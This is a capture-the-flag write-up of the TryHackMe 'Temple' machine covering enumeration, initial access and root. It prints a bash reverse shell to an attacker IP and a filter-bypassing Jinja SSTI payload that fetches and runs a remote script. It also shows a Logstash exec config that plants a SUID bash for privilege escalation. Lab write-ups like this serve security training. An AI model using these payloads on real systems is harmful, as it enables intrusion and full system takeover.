“The only true wisdom is in knowing you know nothing.” - Socrates

Updated on 30 October 2021

Temple – Hard

In this writeup we’ll cover a great machine, temple,  by toxicat0r on TryHackMe.
Room: https://tryhackme.com/room/temple

Summary

  • Nmap found following open ports:
    • 7/echo
    • 21/ftp
    • 22/ssh
    • 23/telnet
    • 80/http
    • 61337/Werkzeug httpd (Python)
  • Nothing useful on ftp, echo, telnet
  • On port 61337, there is a login page.
  • Common creds and SQLi didn’t work
  • GoBuster on 61337 found multiple directories: /admin, /application, /temporary, etc. However, they returned 403. 
  • Although, there still may be files/directory that we have permission to access. Therefore, we ran Gobuster for each directory found and repeat for each new directory found.
  • After running GoBuster, we found that we can access /temporary/dev/newacc
    • List used: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
  • This endpoint allowed us to create an account for the web app.
  • We could login using the accounts created above
  • Server Side Template Injection  – username parameter (Initial Foothold)
  • Privilege Escalation – logstash process running as root, write privileges over logstash config file and set to auto-reload.
  • All Done! 😀

Enumeration

  • Nmap and rustscan found the following open ports:
    • 7/echo
    • 21/ftp
    • 22/ssh
    • 23/telnet
    • 80/http
    • 61337/Werkzeug httpd
  • Enumerating the ftp did not find anything as anonymous logon and usage of other common credentials failed.
  • While enumerating the HTTP services (80 and 61337), we found that there is a logon page on port 61337.
  • Use of common weak credentials did not work. Additionally, the parameters were not found to be vulnerable to SQLi
  • For further enumeration, we ran GoBuster on ports 80 and 61337.
  • We found multiple directories: /admin, /application, /temporary, etc. However, they returned 403. Although, there still may be files/directory that we have permission to access. Therefore, we ran Gobuster for each directory found and repeat for each new directory found.
  • After running GoBuster, we found that we can access /temporary/dev/newacc
    • list used: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
  • This endpoint allowed us to create an account for the web app.
  • We were able to login to the web app using the account created previously.
  • Browsing through the app, we found that on /account our username is reflected on the page.
  • Since the name of the room is ‘temple’ and the web server is python, we could assume that it would be related to the templates. Therefore we try for SSTI (Server Side Template injection)

Exploitation

  • To confirm if the endpoint is vulnerable to SSTI, we try to register a user with the following username:
    • {{1*2}}
  • Once registered, we logged in and found that the username showed up as 2. This confirmed that the endpoint was vulnerable to SSTI.
  • When we tried SQLi, we found that the parameters had some filtering in-place
  • Therefore, to exploit the application, we did the following:
    • Created a file called rce with the following contents:
      • #!/bin/bash
        bash -c "bash -i >& /dev/tcp/10.9.1.132/4242 0>&1"
    • Hosted it using python -m SimpleHTTPServer 80
    • Created an account using the following payload in the username field:
      • {{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl {ip}/rce | bash")|attr("read")()}}
      • Note: this payload bypasses common filters
    • Started netcat listener on Port 4242
    • Logged in as the user above and browsed to /account
  • We got in as the user bill

Privilege Escalation

  • Looking for ways to escalate privileges to root, we found the following:
    • sudo -l (No permission to access sudo binary)
    • find / -type f -perm -u=s 2>/dev/null (Nothing Suspicious)
    • getcap -r / 2>/dev/null (No capabilities that would allow privilege escalation)
    • We found that logstash was running as root
      • Looking inside /etc/logstash, we found the pipelines.yml file which shows that all .conf files inside /etc/logstash/conf.d will be included.
      • Although the directory is not writeable, we had write access to the logstash-sample.conf file
      • Reading the file found above, we found that the config was set to be reloaded every 3 seconds.
      • Therefore, we leveraged it to execute commands of our choice and escalate privileges to root.
      • We edited the file to have the following contents.
				
					input {
  exec {
    command => "cp /bin/bash /home/bill/shell; chmod +xs /home/bill/shell"
    interval => 10
  }
}

output {
  file {
    path => "/tmp/output.log"
    codec => rubydebug
  }
}
      • Once the file was saved, we saw that we had a shell binary in bill's home directory, as expected.
      • We then ran /home/bill/shell -p to escalate our privileges to root.
      • All Done! 😀

Hope you enjoyed reading this writeup.
Happy Hunting! 😀

Posted by: infinity

Helpful Links

CONTENTS